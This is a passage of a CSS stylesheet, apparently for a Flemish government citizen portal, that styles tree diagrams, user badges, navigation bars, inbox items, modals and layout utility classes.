      .bl-tree__children .bl-tree__item:before {
        background: #cbd2da;
        bottom: 100%;
        content: "";
        height: 3.1rem;
        left: 0;
        margin: auto;
        position: absolute;
        right: 0;
        width: .4rem;
        z-index: 2
      }

      @media screen and (max-width:767px) {
        .bl-tree__children .bl-tree__item:before {
          height: 1.6rem
        }
      }

      .bl-tree__children .bl-tree__row {
        margin-bottom: 6rem
      }

      .bl-tree__children .bl-tree__row--place-among {
        margin: 2rem auto 0;
        max-width: 33.3333333%;
        row-gap: 2rem
      }

      .bl-tree__children .bl-tree__row--place-among:first-of-type {
        margin-top: -1rem
      }

      @media screen and (max-width:767px) {
        .bl-tree__children .bl-tree__row--place-among:first-of-type {
          margin-top: 0
        }
      }

      .bl-tree__children .bl-tree__row--place-among:first-of-type .bl-tree__col:first-child:before {
        background: #cbd2da;
        content: "";
        height: .4rem;
        left: 0;
        margin: 0;
        position: absolute;
        right: 0;
        top: -2rem;
        width: 100%;
        z-index: 2
      }

      @media screen and (max-width:767px) {
        .bl-tree__children .bl-tree__row--place-among:first-of-type .bl-tree__col:first-child:before {
          top: -1.5rem
        }
      }

      .bl-tree__children .bl-tree__row--place-among .bl-tree__col {
        padding: 0
      }

      @media screen and (max-width:767px) {
        .bl-tree__children .bl-tree__row--place-among {
          margin-top: 0;
          max-width: 48%;
          row-gap: 1rem
        }

        .bl-tree__children .bl-tree__row--place-among .bl-tree__item {
          margin-bottom: 0
        }
      }

      .bl-tree__children .bl-tree__row--place-among .bl-tree__item:after,
      .bl-tree__children .bl-tree__row--place-among .bl-tree__item:before,
      .bl-tree__children .bl-tree__row--place-among:before {
        display: none
      }

      @media screen and (max-width:767px) {
        .bl-tree__children .bl-tree__row {
          margin-bottom: 1rem
        }
      }

      .bl-tree__children .bl-tree__row:not(:last-of-type) {
        position: relative
      }

      .bl-tree__children .bl-tree__row:not(:last-of-type):before {
        background: #cbd2da;
        content: "";
        height: calc(100% + 3rem);
        left: 3rem;
        margin: auto;
        position: absolute;
        right: 0;
        top: 0;
        width: .4rem;
        z-index: 2
      }

      @media screen and (max-width:767px) {
        .bl-tree__children .bl-tree__row:not(:last-of-type):before {
          height: calc(100% + .5rem);
          left: 1.5rem;
          top: -1.5rem
        }
      }

      .bl-tree__children .bl-tree__row[data-items="2"] .bl-tree__col:first-of-type .bl-tree__item:after,
      .bl-tree__children .bl-tree__row[data-items="3"] .bl-tree__col:first-of-type .bl-tree__item:after,
      .bl-tree__children .bl-tree__row[data-items="4"] .bl-tree__col:first-of-type .bl-tree__item:after {
        background: #cbd2da;
        bottom: calc(100% + 2.9rem);
        content: "";
        height: .4rem;
        left: calc(50% - .2rem);
        margin: auto;
        position: absolute;
        width: calc(50% + 4.1rem);
        z-index: 2
      }

      @media screen and (max-width:767px) {

        .bl-tree__children .bl-tree__row[data-items="2"] .bl-tree__col:first-of-type .bl-tree__item:after,
        .bl-tree__children .bl-tree__row[data-items="3"] .bl-tree__col:first-of-type .bl-tree__item:after,
        .bl-tree__children .bl-tree__row[data-items="4"] .bl-tree__col:first-of-type .bl-tree__item:after {
          bottom: calc(100% + 1.4rem)
        }
      }

      .bl-tree__children .bl-tree__row[data-items="2"] .bl-tree__col:last-of-type .bl-tree__item:after,
      .bl-tree__children .bl-tree__row[data-items="3"] .bl-tree__col:last-of-type .bl-tree__item:after,
      .bl-tree__children .bl-tree__row[data-items="4"] .bl-tree__col:last-of-type .bl-tree__item:after {
        background: #cbd2da;
        bottom: calc(100% + 2.9rem);
        content: "";
        height: .4rem;
        margin: auto;
        position: absolute;
        right: calc(50% - .2rem);
        width: calc(50% + 4.1rem);
        z-index: 2
      }

      @media screen and (max-width:767px) {

        .bl-tree__children .bl-tree__row[data-items="2"] .bl-tree__col:last-of-type .bl-tree__item:after,
        .bl-tree__children .bl-tree__row[data-items="3"] .bl-tree__col:last-of-type .bl-tree__item:after,
        .bl-tree__children .bl-tree__row[data-items="4"] .bl-tree__col:last-of-type .bl-tree__item:after {
          bottom: calc(100% + 1.4rem)
        }
      }

      .bl-tree__children .bl-tree__row[data-items="3"] .bl-tree__col:nth-of-type(2) .bl-tree__item:after,
      .bl-tree__children .bl-tree__row[data-items="4"] .bl-tree__col:nth-of-type(2) .bl-tree__item:after {
        background: #cbd2da;
        bottom: calc(100% + 2.9rem);
        content: "";
        height: .4rem;
        left: -20%;
        margin: auto;
        position: absolute;
        width: 140%;
        z-index: 2
      }

      @media screen and (max-width:767px) {

        .bl-tree__children .bl-tree__row[data-items="3"] .bl-tree__col:nth-of-type(2) .bl-tree__item:after,
        .bl-tree__children .bl-tree__row[data-items="4"] .bl-tree__col:nth-of-type(2) .bl-tree__item:after {
          bottom: calc(100% + 1.4rem)
        }
      }

      .bl-tree__children .bl-tree__row[data-items="4"] .bl-tree__col:nth-of-type(3) .bl-tree__item:after {
        background: #cbd2da;
        bottom: calc(100% + 2.9rem);
        content: "";
        height: .4rem;
        left: -20%;
        margin: auto;
        position: absolute;
        width: 160%;
        z-index: 2
      }

      @media screen and (max-width:767px) {
        .bl-tree__children .bl-tree__row[data-items="4"] .bl-tree__col:nth-of-type(3) .bl-tree__item:after {
          bottom: calc(100% + 1.4rem)
        }

        .bl-tree__children .bl-tree__row .bl-tree__col:nth-of-type(2n) .bl-tree__item:after {
          left: auto !important;
          margin: auto !important;
          right: calc(50% - .2rem) !important;
          width: calc(50% + 8rem) !important
        }

        .bl-tree__children .bl-tree__row .bl-tree__col:nth-of-type(2n-1) .bl-tree__item:after {
          left: calc(50% - .2rem) !important;
          margin: auto !important;
          right: auto !important;
          width: calc(50% + 8rem) !important
        }

        .bl-tree__children .bl-tree__row[data-uneven=true] .bl-tree__col:last-of-type .bl-tree__item:after {
          display: none !important
        }

        .bl-tree__children .bl-tree__row[data-items="3"]:last-of-type:before,
        .bl-tree__children .bl-tree__row[data-items="4"]:last-of-type:before {
          background: #cbd2da;
          content: "";
          height: calc(50% + 1.5rem);
          left: 1.5rem;
          margin: auto;
          position: absolute;
          right: 0;
          top: -1.5rem;
          width: .4rem;
          z-index: 2
        }
      }

      @media screen and (max-width:500px) {

        .bl-tree__children .bl-tree__row .bl-tree__col:nth-of-type(2n) .bl-tree__item:after,
        .bl-tree__children .bl-tree__row .bl-tree__col:nth-of-type(2n-1) .bl-tree__item:after {
          width: calc(50% + 3rem) !important
        }
      }

      @media screen and (max-width:767px) {
        .bl-tree__col {
          margin-bottom: 0
        }
      }

      .bl-u-text-bold,
      .vl-progress-bar__step--active .vl-progress-bar__bullet__text,
      .vl-u-text--bold,
      .vl-u-text--marked,
      mark,
      strong {
        font-weight: 500;
        font-weight: var(--vlw-theme-font-weight-bold, 500)
      }

      .vl-typography a.vl-button {
        display: inline-flex;
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .vl-upload__files--loading .vl-upload__files__close {
        display: none
      }

      .bl-user-badge {
        display: inline-block;
        position: relative
      }

      .bl-user-badge__image {
        background: #fff;
        border: 1px solid #cbd2da;
        border-radius: 3.2rem;
        display: block;
        height: 3.2rem;
        overflow: hidden;
        position: relative;
        vertical-align: middle;
        width: 3.2rem;
        z-index: 0
      }

      .bl-user-badge__image:before {
        align-items: center;
        content: attr(data-initials);
        display: flex;
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-accent-font, "Flanders Art Sans", sans-serif);
        font-size: 1em;
        font-weight: 400;
        height: 100%;
        justify-content: center;
        left: 0;
        position: absolute;
        text-align: center;
        text-transform: uppercase;
        top: 0;
        width: 100%
      }

      .bl-user-badge--l .bl-user-badge__image:before {
        font-size: 1.12em
      }

      .bl-user-badge--xl .bl-user-badge__image:before {
        font-size: 3.13em
      }

      @media screen and (max-width:767px) {
        .bl-user-badge--xl .bl-user-badge__image:before {
          font-size: 2.2rem
        }
      }

      .bl-user-badge--l .bl-user-badge__image {
        border-radius: 6rem;
        height: 6rem;
        width: 6rem
      }

      @media screen and (max-width:767px) {
        .bl-user-badge--l .bl-user-badge__image {
          border-radius: 3.2rem;
          height: 3.2rem;
          width: 3.2rem
        }
      }

      .bl-user-badge--xl .bl-user-badge__image {
        border-radius: 12.6rem;
        height: 12.6rem;
        width: 12.6rem
      }

      @media screen and (max-width:767px) {
        .bl-user-badge--xl .bl-user-badge__image {
          border-radius: 6rem;
          height: 6rem;
          width: 6rem
        }
      }

      .bl-user-badge__image__figure {
        background: #f1f2f4;
        height: auto;
        left: 50%;
        position: absolute;
        top: 50%;
        transform: translate3d(-50%, -50%, 0);
        width: 100%;
        z-index: 4
      }

      .bl-user-badge--block {
        display: block
      }

      .bl-user-badge--block:not(:last-of-type) {
        margin-bottom: .3rem
      }

      .bl-user-badge--alt {
        background: #e8ebee
      }

      .bl-user-badge__action {
        bottom: 0;
        position: absolute;
        right: -2.5rem;
        z-index: 1
      }

      .bl-user-badge--l .bl-user-badge__action {
        right: -1rem
      }

      @media screen and (max-width:767px) {
        .bl-user-badge--l .bl-user-badge__action {
          bottom: -.5rem;
          right: -.5rem
        }
      }

      .bl-user-badge--xl .bl-user-badge__action {
        right: 1rem
      }

      @media screen and (max-width:767px) {
        .bl-user-badge--xl .bl-user-badge__action {
          bottom: -.5rem;
          right: -.5rem
        }
      }

      .bl-u-color-warning {
        color: #d26e25 !important
      }

      .bl-u-color-dove,
      .bl-u-color-gray {
        color: #666 !important
      }

      .bl-u-font-weight-regular {
        font-weight: 400
      }

      .bl-u-stroke-right,
      .bl-u-stroke-right--l {
        border-right: 1px solid #cbd2da;
        padding-right: 3rem
      }

      @media screen and (max-width:1023px) {
        .bl-u-stroke-right--l {
          border-right: 0;
          padding-right: 0
        }
      }

      .bl-u-stroke-top {
        border-top: 1px solid #cbd2da;
        padding-top: 3rem
      }

      .bl-u-text-uppercase-first-letter {
        display: inline-block
      }

      .bl-u-text-uppercase-first-letter:first-letter {
        text-transform: uppercase
      }

      .bl-u-text-bold {
        font-weight: 500;
        font-weight: var(--vlw-theme-font-weight-bold, 500)
      }

      .bl-u-xsmall-text {
        font-size: 1.4rem
      }

      .bl-u-line-height--small {
        line-height: 1.3
      }

      .bl-u-inline-block {
        display: inline-block
      }

      .bl-u-inline {
        display: inline
      }

      @media screen and (-ms-high-contrast:active),
      screen and (-ms-high-contrast:none) {
        .bl-u-hide-ie {
          display: none !important
        }
      }

      .bl-u-no-padding {
        padding: 0 !important
      }

      .bl-u-no-margin {
        margin: 0 !important
      }

      .bl-u-wordbreak--word {
        word-break: break-word
      }

      @media print {
        .bl-u-avoid-break-on-print {
          page-break-inside: avoid;
          -moz-column-break-inside: avoid;
          break-inside: avoid
        }
      }

      .my-place-card {
        height: 100%;
        padding-right: 35px;
        position: relative;
        text-align: left
      }

      .my-place-card__edit-button {
        align-items: center;
        display: flex;
        font-size: 20px;
        height: 20px;
        justify-content: center;
        overflow: hidden;
        position: absolute;
        right: 10px;
        top: 10px;
        width: 20px
      }

      .my-place-card__view-button {
        height: 100%;
        left: 0;
        position: absolute;
        top: 0;
        width: 100%
      }

      .my-place-card .vl-info-tile__header__title {
        color: #05c;
        color: var(--vlw-theme-action-color, #05c)
      }

      .my-place-card .vl-info-tile__content {
        margin-top: 0
      }

      .bl-main-navigation {
        background: #ffed00;
        background: var(--vlw-theme-accent-color, #ffed00);
        color: #333332;
        color: var(--vlw-theme-accent-fg-color, #333332);
        padding-bottom: 0;
        padding-top: 50px;
        position: relative
      }

      @media screen and (max-width:767px) {
        .bl-main-navigation {
          padding-bottom: 20px;
          padding-top: 20px
        }
      }

      .bl-main-navigation__profile {
        align-items: center;
        display: flex
      }

      .bl-main-navigation__image {
        background: #fff;
        border: 1px solid #cbd2da;
        border-radius: 8rem;
        color: #333;
        flex-shrink: 0;
        height: 8rem;
        margin-right: 1.5rem;
        -webkit-mask-image: -webkit-radial-gradient(#fff, #000);
        overflow: hidden;
        position: relative;
        text-transform: uppercase;
        width: 8rem
      }

      @media screen and (max-width:767px) {
        .bl-main-navigation__image {
          display: none
        }
      }

      .bl-main-navigation__image--loading,
      .bl-main-navigation__image--placeholder {
        border: none
      }

      .bl-main-navigation__image--loading:after,
      .bl-main-navigation__image--placeholder:after {
        content: "";
        display: block;
        height: 100%;
        left: 0;
        opacity: .5;
        position: absolute;
        top: 0;
        width: 100%
      }

      .bl-main-navigation__image--loading:after {
        background: rgba(207, 213, 221, .85)
      }

      .bl-main-navigation__image--placeholder {
        background: #d3d9e0
      }

      .bl-main-navigation__image--placeholder:after {
        background: rgba(207, 213, 221, .5)
      }

      .bl-main-navigation__image__figure,
      .bl-main-navigation__image__icon {
        left: 50%;
        position: absolute;
        top: 50%;
        transform: translate3d(-50%, -50%, 0);
        z-index: 4
      }

      .bl-main-navigation__image__figure {
        background: #f1f2f4;
        border-radius: 50%;
        height: auto;
        width: 100%
      }

      .bl-main-navigation__image__icon {
        font-size: 3.4rem
      }

      .bl-main-navigation__image:before {
        color: #333332;
        content: attr(data-initials);
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-accent-font, "Flanders Art Sans", sans-serif);
        font-size: 1.7em;
        font-weight: 400;
        left: 0;
        position: absolute;
        text-align: center;
        top: 50%;
        transform: translateY(-50%);
        width: 100%
      }

      @media screen and (max-width:1023px) {
        .bl-main-navigation__image:before {
          font-size: 1.42em
        }
      }

      @media screen and (max-width:767px) {
        .bl-main-navigation__image:before {
          font-size: 1.13em
        }
      }

      @media screen and (max-width:500px) {
        .bl-main-navigation__image:before {
          font-size: 1em
        }
      }

      @media screen and (max-width:1023px) {
        .bl-main-navigation__image {
          height: 7.5rem;
          width: 7.5rem
        }
      }

      @media screen and (max-width:767px) {
        .bl-main-navigation__image {
          height: 5.6rem;
          margin-bottom: .75rem;
          margin-top: .75rem;
          top: 0;
          width: 5.6rem
        }
      }

      @media screen and (max-width:500px) {
        .bl-main-navigation__image {
          height: 4rem;
          width: 4rem
        }
      }

      .bl-main-navigation__title {
        font-size: 30px;
        line-height: 1.1;
        text-transform: uppercase
      }

      @media screen and (max-width:767px) {
        .bl-main-navigation__title {
          font-size: 16px
        }
      }

      .bl-main-navigation__title__name {
        font-weight: 500;
        font-weight: var(--vlw-theme-font-weight-bold, 500)
      }

      .bl-main-navigation__title__subname {
        font-weight: 300
      }

      .bl-main-navigation__nav {
        margin-top: 25px
      }

      @media screen and (max-width:767px) {
        .bl-main-navigation__nav {
          display: none;
          margin-top: 0
        }
      }

      .bl-main-navigation__nav__list {
        display: flex;
        flex: 0;
        font-size: 1.7rem;
        max-width: 1200px
      }

      .bl-main-navigation__nav__item {
        margin-right: 2.5%;
        white-space: nowrap
      }

      .bl-main-navigation__nav__cta {
        color: #333332;
        color: var(--vlw-theme-accent-fg-color, #333332);
        display: inline-block;
        font-weight: 500;
        font-weight: var(--vlw-theme-font-weight-bold, 500);
        line-height: 1.2;
        padding: 15px 0;
        position: relative;
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .bl-main-navigation__nav__cta:not(.bl-main-navigation__nav__cta--more):before {
        background-color: #333332;
        background-color: var(--vlw-theme-accent-fg-color, #333332);
        bottom: 0;
        content: "";
        height: 4px;
        left: 0;
        opacity: 0;
        position: absolute;
        right: 0;
        transition: opacity .2s ease-in-out;
        width: 100%
      }

      .bl-main-navigation__nav__cta:focus,
      .bl-main-navigation__nav__cta:hover {
        border: none;
        box-shadow: none;
        color: #333332;
        color: var(--vlw-theme-accent-fg-color, #333332)
      }

      .bl-main-navigation__nav__cta:focus:before,
      .bl-main-navigation__nav__cta:hover:before {
        opacity: .7
      }

      .bl-main-navigation__nav__cta.nuxt-link-active {
        color: #333332;
        color: var(--vlw-theme-accent-fg-color, #333332)
      }

      .bl-main-navigation__nav__cta.nuxt-link-active:before {
        opacity: 1
      }

      .bl-side-navigation {
        display: block
      }

      .bl-side-navigation-enter {
        opacity: 0
      }

      .bl-side-navigation-enter-active {
        transition: opacity .4s ease-in-out
      }

      .bl-side-navigation--show-mobile {
        display: none
      }

      @media screen and (max-width:767px) {
        .bl-side-navigation {
          display: none;
          overflow-x: hidden;
          padding: 0
        }

        .bl-side-navigation--show-mobile {
          display: block
        }

        .bl-side-navigation--show-mobile .vl-side-navigation {
          box-shadow: none;
          display: block;
          padding-bottom: 0;
          padding-top: 0
        }
      }

      .bl-side-navigation--sticky-parent {
        position: relative;
        top: 0
      }

      .bl-side-navigation--sticky {
        position: sticky;
        top: 0
      }

      .bl-side-navigation .js-vl-scrollspy-active-parent .vl-side-navigation__toggle {
        color: #333332
      }

      .bl-side-navigation .js-vl-scrollspy-active-parent~.js-vl-scrollspy-active-parent .vl-side-navigation__toggle {
        color: #05c;
        color: var(--vlw-theme-action-color, #05c)
      }

      .bl-side-navigation .js-vl-scrollspy-active-parent~.js-vl-scrollspy-active-parent .vl-side-navigation__toggle:visited {
        color: #660599
      }

      @media screen and (max-width:767px) {
        .bl-side-navigation .vl-side-navigation__toggle {
          font-size: 1.8rem
        }
      }

      .bl-side-navigation__ruler {
        border-top: 1px solid #cbd2da
      }

      .bl-preferences-card {
        position: relative
      }

      @media screen and (max-width:767px) {
        .bl-preferences-card--has-extra .vl-toggle {
          overflow: visible
        }
      }

      .bl-preferences-card__title {
        -moz-column-gap: 10px;
        column-gap: 10px;
        display: flex;
        justify-content: space-between;
        position: relative;
        width: 100%
      }

      @media screen and (max-width:767px) {
        .bl-preferences-card__title {
          flex-direction: column-reverse
        }
      }

      .bl-preferences-card__extra {
        flex-shrink: 0;
        font-size: 18px;
        margin-top: 1px;
        text-align: right
      }

      @media screen and (max-width:767px) {
        .bl-preferences-card__extra {
          display: none
        }
      }

      .bl-preferences-card__extra--mobile {
        display: none;
        margin-top: 3px;
        text-align: left
      }

      @media screen and (max-width:767px) {
        .bl-preferences-card__extra--mobile {
          display: block
        }
      }

      .bl-checklist li {
        display: flex;
        margin-bottom: 12px
      }

      .bl-checklist li:before {
        content: url("");
        flex-basis: 24px;
        flex-grow: 0;
        flex-shrink: 0;
        margin-right: 18px
      }

      @media screen and (max-width:767px) {
        .bl-checklist li {
          margin-bottom: 8px
        }

        .bl-checklist li:before {
          flex-basis: 20px;
          margin-right: 15px
        }
      }

      .bl-inline-loader {
        font-size: 14px;
        line-height: 18px;
        white-space: nowrap
      }

      .bl-inline-loader:before {
        animation: "waving-dark"1s linear infinite;
        border-radius: 50%;
        box-shadow: 5px 0 #cbd2da, 10px 0 #cbd2da, 15px 0 #cbd2da;
        content: "";
        display: inline-block;
        height: 3px;
        margin-right: 38px;
        width: 3px
      }

      @keyframes waving-dark {
        0% {
          box-shadow: 10px 0 #687483, 20px 0 #687483, 30px 0 #687483
        }

        10% {
          box-shadow: 10px -3px #687483, 20px 0 #687483, 30px 0 #687483
        }

        20% {
          box-shadow: 10px -6px #687483, 20px -3px #687483, 30px 0 #687483
        }

        30% {
          box-shadow: 10px -3px #687483, 20px -6px #687483, 30px -3px #687483
        }

        40% {
          box-shadow: 10px 0 #687483, 20px -3px #687483, 30px -6px #687483
        }

        50% {
          box-shadow: 10px 0 #687483, 20px 0 #687483, 30px -3px #687483
        }

        60% {
          box-shadow: 10px 0 #687483, 20px 0 #687483, 30px 0 #687483
        }

        to {
          box-shadow: 10px 0 #687483, 20px 0 #687483, 30px 0 #687483
        }
      }

      @media screen and (max-width:767px) {
        .bl-pill-container {
          display: none
        }
      }

      .bl-pill-container .vl-pill {
        margin-bottom: .6rem;
        margin-right: .5rem;
        vertical-align: middle;
        word-break: break-all
      }

      .bl-pill-container .vl-link {
        margin-left: .4rem
      }

      .bl-credits-table {
        border-top: 2px solid #cbd2da
      }

      .bl-credits-table td.bl-credits-table__corrections {
        padding: 0;
        width: 100%
      }

      .bl-credits-table td.bl-credits-table__corrections table {
        width: 100%
      }

      .bl-credits-table td.bl-credits-table__corrections tr:last-of-type {
        border-bottom: 0
      }

      .bl-credits-table td.bl-credits-table__corrections__content {
        padding: 0 0 0 20px
      }

      .bl-credits-table .vl-data-table>tbody>tr:last-of-type {
        border-top: 2px solid #cbd2da;
        font-weight: 500;
        font-weight: var(--vlw-theme-font-weight-bold, 500)
      }

      .bl-page-heading {
        border-bottom: 1px solid #cbd2da;
        padding-bottom: 4rem
      }

      .bl-page-heading--no-border {
        border-bottom: none;
        margin-bottom: 0;
        padding-bottom: 0
      }

      @media screen and (max-width:767px) {
        .bl-page-heading {
          padding-bottom: 1.5rem
        }

        .bl-page-heading--with-tabs {
          padding-bottom: 0
        }
      }

      .bl-page-heading__navigation-tabs {
        margin-top: 4rem
      }

      @media screen and (max-width:767px) {
        .bl-page-heading__navigation-tabs {
          margin-top: 1.5rem
        }
      }

      .bl-page-heading__navigation-tabs .vl-tabs {
        margin-bottom: 0
      }

      .bl-page-heading__inner {
        align-items: center;
        display: flex;
        justify-content: space-between
      }

      .bl-page-heading__body {
        flex: 1;
        width: 100%
      }

      .bl-page-heading__parent {
        display: flex;
        justify-content: space-between;
        margin-bottom: 1rem;
        position: relative;
        z-index: 2
      }

      .bl-page-heading__title-wrapper {
        z-index: 1
      }

      .bl-page-heading__title {
        margin-bottom: 1rem
      }

      .bl-info-button {
        font-weight: 400
      }

      .bl-info-button--inline {
        display: inline-block;
        margin-left: 1rem;
        margin-top: -.7rem;
        position: absolute
      }

      @media screen and (max-width:767px) {
        .bl-info-button--inline {
          margin-top: -1.1rem
        }
      }

      .vl-modal-large>.vl-modal-dialog {
        height: 100%;
        width: 80vw
      }

      @media screen and (max-width:1023px) {
        .vl-modal-large>.vl-modal-dialog {
          width: 100vw
        }
      }

      .vl-modal-large>.vl-modal-dialog--bottom {
        min-height: calc(100vh - 45px)
      }

      .vl-modal-large .vl-modal-dialog__wrapper {
        height: 100%
      }

      .vl-modal-medium>.vl-modal-dialog {
        width: 65vw
      }

      @media screen and (max-width:1023px) {
        .vl-modal-medium>.vl-modal-dialog {
          width: 100vw
        }
      }

      .bl-form-modal__container {
        bottom: 0;
        left: 3rem;
        overflow: hidden;
        position: absolute;
        right: 3rem;
        top: 3rem
      }

      @media screen and (max-width:767px) {
        .bl-form-modal__container {
          left: 1.5rem;
          right: 1.5rem;
          top: 1.5rem
        }
      }

      .bl-form-modal__content {
        display: flex;
        flex-direction: column;
        height: 100%
      }

      .bl-form-modal__heading,
      .bl-form-modal__heading>:last-child {
        margin-bottom: 0
      }

      .bl-form-modal .bl-form-embed {
        flex-grow: 1
      }

      .bl-form-modal .bl-form-embed iframe {
        height: 100% !important
      }

      .vl-step+.bl-dosis-history__step-toggle--closed {
        margin-top: 0
      }

      .bl-dosis-history__step-toggle .vl-step__content {
        margin-top: .5rem
      }

      .bl-app-download {
        align-items: center;
        display: flex
      }

      .bl-app-download__app-icon {
        border-radius: 20%;
        border-width: 0;
        box-shadow: 0 1px 2px 0 rgba(60, 64, 67, .3), 0 1px 3px 1px rgba(60, 64, 67, .15);
        margin-right: 2rem
      }

      .bl-app-ad__town-search {
        max-width: 400px
      }

      .bl-main-navigation__title {
        max-width: 100%;
        overflow: hidden
      }

      .bl-main-navigation__title .bl-main-navigation__title__name {
        max-width: 100%;
        overflow: hidden;
        text-overflow: ellipsis;
        white-space: nowrap
      }

      .bl-particulars-header__user-info {
        align-items: center;
        display: flex;
        max-width: 100%
      }

      .bl-particulars-header__user-info-name {
        max-width: calc(100% - 12.6rem - 26px);
        width: 100%
      }

      .bl-particulars-header__user-info-name .vl-title {
        margin-bottom: 1rem
      }

      .bl-particulars-header__user-info-name .vl-title:has(+.vl-link) {
        margin-bottom: 0
      }

      .bl-particulars-header__user-info-name .vl-form__annotation {
        color: #687483
      }

      .bl-particulars-header__user-info-nickname {
        max-width: 100%;
        overflow: hidden;
        text-overflow: ellipsis;
        white-space: nowrap
      }

      @media screen and (max-width:767px) {
        .bl-inbox__filter {
          margin-top: 0
        }
      }

      .bl-inbox__item {
        padding: 1.5rem 3rem
      }

      @media screen and (max-width:767px) {
        .bl-inbox__item {
          padding: 1.5rem 0
        }
      }

      .bl-inbox__item--highlight {
        background-color: #f7f9fc
      }

      .bl-inbox__item .vl-title {
        margin: 0
      }

      .bl-inbox__item .vl-title .vl-alert {
        display: inline-flex
      }

      .bl-inbox__item .vl-badge--inline {
        display: inline-block;
        margin-right: 8px;
        margin-top: -2px;
        vertical-align: middle
      }

      .bl-inbox__item-vervaldatum {
        color: #333332;
        display: inline-block
      }

      .bl-collection-header {
        align-items: center;
        display: flex;
        flex-wrap: wrap;
        justify-content: space-between
      }

      @media screen and (max-width:767px) {
        .bl-collection-header {
          display: none
        }
      }

      .bl-collection-header__options {
        display: flex;
        justify-content: flex-end;
        margin-left: auto
      }

      .bl-collection-header__filter-list {
        flex: 0 0 100%;
        margin-top: 7px
      }

      .bl-filter-date-period-offset {
        margin: 1.2rem 0 1.2rem .6rem
      }

      .bl-ebox-message-card .info-text {
        color: #687483
      }

      .ebox-message-annotation__expiry-date--marked {
        color: #333332
      }

      .bl-checkbox__annotation {
        font-size: 1.5rem;
        margin-left: auto
      }

      .bl-app-link {
        align-items: center;
        color: #333332;
        display: flex;
        justify-content: space-between;
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .bl-app-link .vl-icon {
        color: #05c
      }

      .bl-border-top {
        border-top: .2rem solid #cbd2da
      }

      .bl-border-bottom {
        border-bottom: .2rem solid #cbd2da
      }

      .bl-admission-detail-panel__validity .vl-badge--large .vl-badge__notification .vl-badge--icon.vl-badge .vl-badge__icon,
      .bl-admission-detail-panel__validity .vl-badge--xsmall.vl-badge--icon .vl-badge__icon,
      .vl-badge--large .vl-badge__notification .bl-admission-detail-panel__validity .vl-badge--icon.vl-badge .vl-badge__icon {
        font-size: 2.2rem
      }

      .bl-admission-detail-panel__validity-link .vl-link {
        font-weight: 400
      }

      .notification-annotation__expiry-date {
        color: #333332
      }

      body {
        -webkit-font-smoothing: antialiased;
        -moz-osx-font-smoothing: grayscale
      }

      body.disable-scroll {
        overflow: hidden
      }

      .vl-u-visually-hidden {
        height: 1px;
        overflow: hidden;
        position: absolute !important;
        width: 1px;
        clip: rect(1px, 1px, 1px, 1px);
        border: 0;
        left: 0;
        margin: -1px;
        padding: 0;
        top: 0
      }

      @media screen and (min-width:1023.1px) {
        .vl-u-visually-hidden--l {
          height: 1px;
          overflow: hidden;
          position: absolute !important;
          width: 1px;
          clip: rect(1px, 1px, 1px, 1px);
          border: 0;
          left: 0;
          margin: -1px;
          padding: 0;
          top: 0
        }
      }

      @media screen and (max-width:1023px) {
        .vl-u-visually-hidden--m {
          height: 1px;
          overflow: hidden;
          position: absolute !important;
          width: 1px;
          clip: rect(1px, 1px, 1px, 1px);
          border: 0;
          left: 0;
          margin: -1px;
          padding: 0;
          top: 0
        }
      }

      @media screen and (max-width:767px) {
        .vl-u-visually-hidden--s {
          height: 1px;
          overflow: hidden;
          position: absolute !important;
          width: 1px;
          clip: rect(1px, 1px, 1px, 1px);
          border: 0;
          left: 0;
          margin: -1px;
          padding: 0;
          top: 0
        }
      }

      @media screen and (max-width:500px) {
        .vl-u-visually-hidden--xs {
          height: 1px;
          overflow: hidden;
          position: absolute !important;
          width: 1px;
          clip: rect(1px, 1px, 1px, 1px);
          border: 0;
          left: 0;
          margin: -1px;
          padding: 0;
          top: 0
        }
      }

      @keyframes fade-transition {
        0% {
          opacity: 0;
          transform: translateY(20px)
        }

        to {
          opacity: 1;
          transform: translateY(0)
        }
      }

      @keyframes bounce {

        0%,
        20%,
        50%,
        80%,
        to {
          transform: translateY(0)
        }

        40% {
          transform: translateY(-12px)
        }

        60% {
          transform: translateY(-5px)
        }

        90% {
          transform: translateY(-2px)
        }
      }

      .vl-u-align-left {
        text-align: left !important
      }

      .vl-u-align-center {
        text-align: center !important
      }

      .vl-u-align-right {
        text-align: right !important
      }

      @media screen and (min-width:1023.1px) {
        .vl-u-align-left--l {
          text-align: left !important
        }

        .vl-u-align-center--l {
          text-align: center !important
        }

        .vl-u-align-right--l {
          text-align: right !important
        }
      }

      @media screen and (max-width:1023px) {
        .vl-u-align-left--m {
          text-align: left !important
        }

        .vl-u-align-center--m {
          text-align: center !important
        }

        .vl-u-align-right--m {
          text-align: right !important
        }
      }

      @media screen and (max-width:767px) {
        .vl-u-align-left--s {
          text-align: left !important
        }

        .vl-u-align-center--s {
          text-align: center !important
        }

        .vl-u-align-right--s {
          text-align: right !important
        }
      }

      @media screen and (max-width:500px) {
        .vl-u-align-left--xs {
          text-align: left !important
        }

        .vl-u-align-center--xs {
          text-align: center !important
        }

        .vl-u-align-right--xs {
          text-align: right !important
        }
      }

      .vl-u-flex-v-flex-start,
      .vl-u-flex-v-left {
        align-items: flex-start !important
      }

      .vl-u-flex-v-center {
        align-items: center !important
      }

      .vl-u-flex-v-flex-end,
      .vl-u-flex-v-right {
        align-items: flex-end !important
      }

      .vl-u-flex-v-baseline {
        align-items: baseline !important
      }

      .vl-u-flex-v-stretch {
        align-items: stretch !important
      }

      .vl-u-flex-align-flex-start,
      .vl-u-flex-align-top {
        justify-content: flex-start !important
      }

      .vl-u-flex-align-center {
        justify-content: center !important
      }

      .vl-u-flex-align-bottom,
      .vl-u-flex-align-flex-end {
        justify-content: flex-end !important
      }

      .vl-u-flex-align-space-between {
        justify-content: space-between !important
      }

      .vl-u-flex-align-space-around {
        justify-content: space-around !important
      }

      .vl-u-flex-direction-row {
        flex-direction: row !important
      }

      .vl-u-flex-direction-column {
        flex-direction: column !important
      }

      .vl-u-flex-direction-row-reverse {
        flex-direction: row-reverse !important
      }

      .vl-u-flex-direction-column-reverse {
        flex-direction: column-reverse !important
      }

      .vl-u-flex-wrap-wrap {
        flex-wrap: wrap !important
      }

      .vl-u-flex-wrap-nowrap {
        flex-wrap: nowrap !important
      }

      .vl-u-flex-wrap-reverse {
        flex-wrap: wrap-reverse !important
      }

      @media screen and (min-width:1023.1px) {

